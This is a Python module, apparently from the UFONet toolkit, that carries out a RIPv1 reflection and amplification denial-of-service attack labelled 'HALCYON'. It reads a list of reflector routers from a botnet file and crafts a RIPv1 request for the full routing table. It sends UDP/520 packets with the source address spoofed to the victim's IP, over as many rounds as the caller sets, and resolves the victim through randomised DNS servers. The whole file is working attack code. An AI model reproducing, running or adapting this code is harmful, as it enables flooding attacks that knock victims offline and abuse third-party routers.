ripv1.py 3.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random, socket
  11. from urllib.parse import urlparse
  12. try:
  13. from scapy.all import *
  14. except ImportError:
  15. from core._ensure import ensure
  16. if ensure('scapy.all', 'scapy') is None:
  17. print("\nError importing: scapy lib.\n")
  18. sys.exit(2)
  19. from scapy.all import *
  20. ripv1_file = "botnet/ripv1.txt"
  21. # UFONet RIPv1 Amplification (HALCYON) - amp factor ~131x (UDP/520, request whole routing table)
  22. def halcyonize(ip, rounds):
  23. n=0
  24. try:
  25. from core._botnet import load_botnet_file, warn_placeholders
  26. reflectors, _empty, _all_placeholder = load_botnet_file(ripv1_file)
  27. if _empty:
  28. print("[Error] [AI] [HALCYON] botnet/ripv1.txt is empty -> [Aborting!]")
  29. return
  30. if _all_placeholder:
  31. warn_placeholders("HALCYON", ripv1_file, kind="ripv1")
  32. return
  33. payload = (b'\x01\x01\x00\x00'
  34. b'\x00\x00\x00\x00'
  35. b'\x00\x00\x00\x00'
  36. b'\x00\x00\x00\x00'
  37. b'\x00\x00\x00\x00'
  38. b'\x00\x00\x00\x10')
  39. for x in range(int(rounds)):
  40. n += 1
  41. print("[Info] [AI] [HALCYON] Tracing 'route' ["+str(n)+"] through legacy routers! -> [SLOWING!]")
  42. for r in reflectors:
  43. try:
  44. sport = 520
  45. packet = IP(dst=r, src=ip) / UDP(sport=sport, dport=520) / Raw(load=payload)
  46. send(packet, verbose=0)
  47. print("[Info] [AI] [HALCYON] Traced 'route' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
  48. except Exception:
  49. print("[Info] [AI] [HALCYON] Traced 'route' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
  50. except:
  51. print("[Error] [AI] [HALCYON] Failing to engage... -> Is still target online? -> [Checking!]")
  52. class RIPV1(object):
  53. def attacking(self, target, rounds):
  54. print("[Info] [AI] RIPv1 Amplification (HALCYON) is ready to fire: [", rounds, "routes ]")
  55. if target.startswith('http://'):
  56. target = target.replace('http://','')
  57. elif target.startswith('https://'):
  58. target = target.replace('https://','')
  59. try:
  60. ip = socket.gethostbyname(target)
  61. except Exception:
  62. try:
  63. import dns.resolver
  64. r = dns.resolver.Resolver()
  65. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  66. url = urlparse(target)
  67. a = r.resolve(url.netloc, "A")
  68. for rd in a:
  69. ip = str(rd)
  70. except Exception:
  71. ip = target
  72. if ip == "127.0.0.1" or ip == "localhost":
  73. print("[Info] [AI] [HALCYON] Targeting 'localhost' -> [OK!]\n")
  74. return
  75. halcyonize(ip, rounds)